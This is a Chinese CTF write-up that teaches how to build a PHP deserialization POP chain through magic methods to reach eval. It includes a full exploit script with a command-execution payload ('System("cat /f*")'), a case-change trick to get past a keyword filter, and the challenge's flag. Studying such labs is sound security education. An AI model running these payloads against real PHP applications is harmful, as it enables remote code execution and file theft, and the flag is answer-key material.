做这道题作为pop链的构造很典型,也很有意思,因为还存在一些其他东西。
打开链接,这种很多类的PHP代码多半是需要构造pop链
一、理清pop链并进行标注
先找eval、flag这些危险函数和关键字样(这就是链尾),找到eval函数,且参数是txw4ever
我们可以利用这个txw4ever,来调用系统函数实现命令执行
OK,下面开始教你们做标注
首先我们找到第一步用到的参数所在位置,并在后面标注清楚需要传入的内容
1可以理解为第一步,shell表示我们这里需要传入一个类似shell的东西或者用system标注
传给谁就标注在谁的后面,这里表示要传给txw4ever,而txw4ever是在NISA类下
标注好后,我们回到PHP源码,往eval上面看,发现需要触发__invoke()函数
__invoke是对象被当做函数进行调用时就会触发,我们去找类似$a()这种的(所有类里面找)
找到$bb(),它对应的参数是su,且在类Ilovetxw里
同理我们进行标注,表示要调用参数su,传入NISA类
标注好后,我们回到PHP源码,往bb上面看,发现需要触发__toString()函数
__ToString⽅法是当对象被当做字符串的时候会自动调用
继续在所有类里面找,找到strtolower函数,该函数是将字符串转换成小写
对应参数 a ,在four类里,我们找到a的位置继续进行标注
因为这里还存在一个if的判断语句,需要符合才能执行后面语句,所有还需要给fun也赋值
因为fun是私有变量,我们最好直接在类里面修改
原来$fun='abc'; 将它修改为下图所示
回到PHP源码,继续往上我们找到__set函数
__set是对不存在或者不可访问的变量进行赋值就会自动调用
于是我们找到huang,我们可以看到在Ilovetxw类里面并不存在fun这个参数
同样进行标注
后面我就不详细理下去了,相信你们已经明白了
(不懂的欢迎私信我,可以给你们一对一慢慢详细讲解)
依次往上追到__call函数,__call是对不存在的方法或者不可访问的方法进行调用就自动调用
找到nisa,该类中并不存在这个方法,再往上就找到wakeup函数, 即我们的链头了
该函数在使用unserilize之前就会触发。
以及相关的标注:
我都感觉我讲得太详细了,听懂了的评论区扣个666
至此,我们理清了pop链,并进行了传参的相关标注
二、如何编写相关脚本
先将所有类复制下来放进VS(前面加上<?php)
在这些类后面,我们开始写脚本,我先将完整的能跑出flag的脚本给大家:
<?php class NISA{ public $fun="show_me_flag"; public $txw4ever; // 1 shell public function __wakeup() { if($this->fun=="show_me_flag"){ hint(); } } function __call($from,$val){ $this->fun=$val[0]; } public function __toString() { echo $this->fun; return " "; } public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever); } } class TianXiWei{ public $ext; //5 Ilovetxw public $x; public function __wakeup() { $this->ext->nisa($this->x); } } class Ilovetxw{ public $huang; //4 four public $su; //2 NISA public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; } public function __toString(){ $bb = $this->su; return $bb(); } } class four{ public $a="TXW4EVER"; //3 Ilovetxw private $fun='sixsixsix'; //fun = "sixsixsix public function __set($name, $value) { $this->$name=$value; if ($this->fun = "sixsixsix"){ strtolower($this->a); } } } $n = new NISA(); $n->txw4ever = 'System("cat /f*");'; $n->fun = "666"; $i = new Ilovetxw(); $i->su = $n; $f = new four(); $f->a = $i; $i = new Ilovetxw(); $i->huang = $f; $t = new TianXiWei(); $t->ext = $i; echo urlencode(serialize($t));
我们就根据刚才标注的12345顺序来写,用到哪个类时,必须先用new实例化一遍
(哪怕重复用到了某个类,也需要重新实例化一遍,比如上面的Ilovetxw类)
给大家开个头吧,我们先用到NISA类,所以实例化NISA类:$n = new NISA();
$n->txw4ever表示调用这个类里面的txw4ever,后面传入我们想要传入的内容即可
至于为什么改fun的值,我们后面再说;
至此我们完成了1步骤,继续往下看,来到2
我们用到Ilovetxw类,将其实例化,同理根据标注进行调用传参即可
这样我们就可以写出后面所以的脚本了
三、过滤与绕过
这里存在两个需要绕过的地方,源码有给提示
1、waf的绕过
这里有一个hint函数,触发就会输出一些提示的东西
找到hint函数位置,在第一个类,如何绕过这个函数 ,只需让if语句判断不成立即可
所以你现在知道为什么前面我们需要修改fun的值了吧。
如果没有改fun的值,你只能得到一个提示,flag在根目录
2、preg_match的绕过
preg_match用来进行正则匹配,但没给匹配的内容,用的......,暗示我们存在关键字的过滤,
这里system被过滤掉了,如果我们原封不动的使用system,不出意外会返回 something wrong
OK,就不跟大家唠叨了,咱直接拿flag
NSSCTF{eaa7fba4-17d4-4f17-ad15-38f20c0bf961}